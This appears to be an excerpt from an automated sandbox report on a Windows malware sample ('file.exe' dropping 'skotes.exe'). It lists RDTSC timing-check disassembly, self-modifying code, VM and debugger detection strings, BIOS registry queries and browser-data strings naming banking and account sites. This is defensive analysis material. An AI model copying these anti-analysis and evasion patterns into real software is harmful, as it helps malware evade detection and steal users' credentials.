Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0033 second address: 4CB0075 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007F075D128EFEh 0x0000000d xchg eax, ebp 0x0000000e jmp 00007F075D128F00h 0x00000013 mov ebp, esp 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F075D128F07h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0075 second address: 4CB0092 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, edi 0x00000005 call 00007F075CBABECBh 0x0000000a pop esi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e and esp, FFFFFFF8h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0092 second address: 4CB0096 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0096 second address: 4CB00A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F075CBABECCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB00A6 second address: 4CB0175 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F075D128EFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a jmp 00007F075D128F06h 0x0000000f push eax 0x00000010 jmp 00007F075D128EFBh 0x00000015 xchg eax, ecx 0x00000016 pushad 0x00000017 jmp 00007F075D128F04h 0x0000001c pushfd 0x0000001d jmp 00007F075D128F02h 0x00000022 sbb cx, B6C8h 0x00000027 jmp 00007F075D128EFBh 0x0000002c popfd 0x0000002d popad 0x0000002e xchg eax, ebx 0x0000002f pushad 0x00000030 mov edi, eax 0x00000032 popad 0x00000033 push eax 0x00000034 pushad 0x00000035 call 00007F075D128EFAh 0x0000003a pop edx 0x0000003b mov esi, 1607757Dh 0x00000040 popad 0x00000041 xchg eax, ebx 0x00000042 pushad 0x00000043 pushfd 0x00000044 jmp 00007F075D128F06h 0x00000049 sbb eax, 1B936B88h 0x0000004f jmp 00007F075D128EFBh 0x00000054 popfd 0x00000055 mov ebx, ecx 0x00000057 popad 0x00000058 mov ebx, dword ptr [ebp+10h] 0x0000005b push eax 0x0000005c push edx 0x0000005d pushad 0x0000005e mov eax, edi 0x00000060 jmp 00007F075D128F03h 0x00000065 popad 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0175 second address: 4CB017B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB017B second address: 4CB017F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB017F second address: 4CB01E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 pushad 0x0000000a mov edx, eax 0x0000000c pushad 0x0000000d movzx ecx, bx 0x00000010 mov dx, B8F4h 0x00000014 popad 0x00000015 popad 0x00000016 mov dword ptr [esp], esi 0x00000019 jmp 00007F075CBABED3h 0x0000001e mov esi, dword ptr [ebp+08h] 0x00000021 jmp 00007F075CBABED6h 0x00000026 xchg eax, edi 0x00000027 jmp 00007F075CBABED0h 0x0000002c push eax 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007F075CBABECDh 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB01E7 second address: 4CB01ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB01ED second address: 4CB0204 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F075CBABED3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0204 second address: 4CB022B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F075D128F09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, edi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov si, di 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB022B second address: 4CB0231 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0231 second address: 4CB029A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test esi, esi 0x0000000a jmp 00007F075D128F09h 0x0000000f je 00007F07CF3972B7h 0x00000015 pushad 0x00000016 jmp 00007F075D128EFCh 0x0000001b mov dx, cx 0x0000001e popad 0x0000001f cmp dword ptr [esi+08h], DDEEDDEEh 0x00000026 pushad 0x00000027 mov ch, 52h 0x00000029 mov dx, 3E2Ah 0x0000002d popad 0x0000002e je 00007F07CF3972A7h 0x00000034 jmp 00007F075D128F01h 0x00000039 mov edx, dword ptr [esi+44h] 0x0000003c push eax 0x0000003d push edx 0x0000003e push eax 0x0000003f push edx 0x00000040 pushad 0x00000041 popad 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB029A second address: 4CB02AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F075CBABECFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB02AD second address: 4CB030A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F075D128F09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 or edx, dword ptr [ebp+0Ch] 0x0000000c jmp 00007F075D128EFEh 0x00000011 test edx, 61000000h 0x00000017 pushad 0x00000018 mov bx, si 0x0000001b popad 0x0000001c jne 00007F07CF397298h 0x00000022 jmp 00007F075D128EFFh 0x00000027 test byte ptr [esi+48h], 00000001h 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e mov di, 91C6h 0x00000032 mov si, di 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB030A second address: 4CB0310 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0711 second address: 4CA0740 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F075D128F01h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b movzx ecx, di 0x0000000e push ebx 0x0000000f push esi 0x00000010 pop ebx 0x00000011 pop eax 0x00000012 popad 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F075D128EFDh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0740 second address: 4CA0750 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F075CBABECCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0750 second address: 4CA0789 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F075D128F08h 0x00000012 add si, 2308h 0x00000017 jmp 00007F075D128EFBh 0x0000001c popfd 0x0000001d push ecx 0x0000001e pop edi 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0789 second address: 4CA07B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F075CBABECBh 0x00000009 adc cl, 0000004Eh 0x0000000c jmp 00007F075CBABED9h 0x00000011 popfd 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA07B7 second address: 4CA07DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov ebp, esp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F075D128F06h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA07DA second address: 4CA07E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F075CBABECBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA07E9 second address: 4CA0856 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F075D128EFFh 0x00000009 adc ah, FFFFFFBEh 0x0000000c jmp 00007F075D128F09h 0x00000011 popfd 0x00000012 pushfd 0x00000013 jmp 00007F075D128F00h 0x00000018 add ah, FFFFFFB8h 0x0000001b jmp 00007F075D128EFBh 0x00000020 popfd 0x00000021 popad 0x00000022 pop edx 0x00000023 pop eax 0x00000024 and esp, FFFFFFF8h 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F075D128F05h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0856 second address: 4CA08F5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F075CBABED1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007F075CBABECEh 0x0000000f push eax 0x00000010 jmp 00007F075CBABECBh 0x00000015 xchg eax, ebx 0x00000016 pushad 0x00000017 call 00007F075CBABED4h 0x0000001c mov edi, eax 0x0000001e pop ecx 0x0000001f call 00007F075CBABED7h 0x00000024 movzx esi, bx 0x00000027 pop ebx 0x00000028 popad 0x00000029 xchg eax, esi 0x0000002a pushad 0x0000002b pushfd 0x0000002c jmp 00007F075CBABECEh 0x00000031 adc cx, 9868h 0x00000036 jmp 00007F075CBABECBh 0x0000003b popfd 0x0000003c movzx ecx, di 0x0000003f popad 0x00000040 push eax 0x00000041 push eax 0x00000042 push edx 0x00000043 jmp 00007F075CBABED1h 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA08F5 second address: 4CA0905 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F075D128EFCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0905 second address: 4CA0909 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0909 second address: 4CA0932 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 jmp 00007F075D128F07h 0x0000000e mov esi, dword ptr [ebp+08h] 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0932 second address: 4CA094D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F075CBABED7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA094D second address: 4CA09B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F075D128EFFh 0x00000009 and cl, FFFFFFCEh 0x0000000c jmp 00007F075D128F09h 0x00000011 popfd 0x00000012 mov dl, cl 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 mov ebx, 00000000h 0x0000001c jmp 00007F075D128F08h 0x00000021 test esi, esi 0x00000023 pushad 0x00000024 mov ecx, 4A81568Dh 0x00000029 mov esi, 1039CE89h 0x0000002e popad 0x0000002f je 00007F07CF39E8D7h 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA09B8 second address: 4CA09D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007F075CBABED7h 0x00000009 pop esi 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA09D5 second address: 4CA0A0F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F075D128F06h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [esi+08h], DDEEDDEEh 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F075D128F07h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0A0F second address: 4CA0A27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F075CBABED4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0A27 second address: 4CA0A5F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F075D128EFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ecx, esi 0x0000000d jmp 00007F075D128F06h 0x00000012 je 00007F07CF39E849h 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b pop eax 0x0000001c pop edi 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0A5F second address: 4CA0A63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0A63 second address: 4CA0ABE instructions: 0x00000000 rdtsc 0x00000002 movzx esi, dx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 test byte ptr [76FA6968h], 00000002h 0x0000000f pushad 0x00000010 push ebx 0x00000011 mov edx, ecx 0x00000013 pop esi 0x00000014 pushfd 0x00000015 jmp 00007F075D128EFBh 0x0000001a sub cl, 0000001Eh 0x0000001d jmp 00007F075D128F09h 0x00000022 popfd 0x00000023 popad 0x00000024 jne 00007F07CF39E80Bh 0x0000002a jmp 00007F075D128EFEh 0x0000002f mov edx, dword ptr [ebp+0Ch] 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0ABE second address: 4CA0AC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 37E99E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 523A68 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 54BD6A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 52DA0C instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5B58B2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: F2E99E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 10D3A68 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 10FBD6A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 10DDA0C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 11658B2 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04D20E78 rdtsc

0_2_04D20E78

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 380	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8187	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1372	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5368	Thread sleep count: 60 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5368	Thread sleep time: -120060s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7164	Thread sleep count: 53 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7164	Thread sleep time: -106053s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1488	Thread sleep count: 380 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1488	Thread sleep time: -11400000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6516	Thread sleep time: -360000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7152	Thread sleep count: 54 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7152	Thread sleep time: -108054s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1020	Thread sleep count: 50 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1020	Thread sleep time: -100050s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7120	Thread sleep count: 85 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7120	Thread sleep time: -170085s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1488	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2072	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 4144	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: skotes.exe, 00000006.00000002.3278202583.0000000000A08000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWfe
Source: Web Data.17.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: Web Data.17.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: Web Data.17.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: skotes.exe, 00000006.00000002.3278202583.00000000009C9000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3278202583.0000000000A08000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000002.3298502123.0000029748A54000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3309155779.000001A8B2906000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.3293759205.0000029D56500000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.3283028567.0000029D55F6A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3282652339.000002B9C28BA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3292242787.000002B9C3210000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3291115405.000001F42CEF0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: firefox.exe, 00000010.00000002.3308379802.000001A8B289F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.3292128593.0000029D56416000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW : 2 : 34 : 1 : 1 : 0x20026 : 0x8 : %SystemRoot%\system32\mswsock.dll : : 1234191b-4bf7-4ca7-86e0-dfd7c32b5445
Source: Web Data.17.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: firefox.exe, 00000016.00000002.3293759205.0000029D56500000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW_
Source: powershell.exe, 00000007.00000002.3030468982.0000000004BC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapter
Source: firefox.exe, 00000010.00000002.3304423656.000001A8A841A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3029532362.000001A8A8425000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`
Source: Web Data.17.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: Web Data.17.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: Web Data.17.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: svchost.exe, 0000000C.00000002.3290216462.000002974342B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWPn
Source: Web Data.17.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: Web Data.17.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: Web Data.17.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: Web Data.17.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: Web Data.17.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: firefox.exe, 0000001F.00000002.3283065677.000001F42CAEA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0:
Source: Web Data.17.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: skotes.exe, skotes.exe, 00000006.00000002.3283455170.00000000010B6000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: Web Data.17.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: powershell.exe, 00000007.00000002.3030468982.0000000004BC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: powershell.exe, 00000007.00000002.2976001217.0000000002DC9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: MSFT_NetEventVmNetworkAdatper.format.ps1xmltN
Source: Web Data.17.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: firefox.exe, 00000016.00000002.3283028567.0000029D55F6A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: Web Data.17.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: Web Data.17.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: Web Data.17.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: Web Data.17.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: Web Data.17.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: Web Data.17.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: Web Data.17.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: Web Data.17.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: firefox.exe, 00000010.00000002.3309155779.000001A8B2906000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.3293759205.0000029D56500000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3292242787.000002B9C3210000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Web Data.17.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: Web Data.17.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: Web Data.17.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: Web Data.17.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: firefox.exe, 0000001A.00000002.3292242787.000002B9C3210000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllw
Source: powershell.exe, 00000007.00000002.3065418302.0000000007576000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: Web Data.17.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: powershell.exe, 00000007.00000002.3030468982.0000000004BC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapter
Source: Web Data.17.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: Web Data.17.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: file.exe, 00000000.00000002.2083028111.0000000000506000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000002.00000002.2120676594.00000000010B6000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000003.00000002.2123277356.00000000010B6000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000006.00000002.3283455170.00000000010B6000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: powershell.exe, 00000007.00000002.2976001217.0000000002DC9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: MSFT_NetEventVmNetworkAdatper.cdxmlDn
Source: Web Data.17.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: firefox.exe, 00000016.00000002.3293759205.0000029D56500000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWC

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

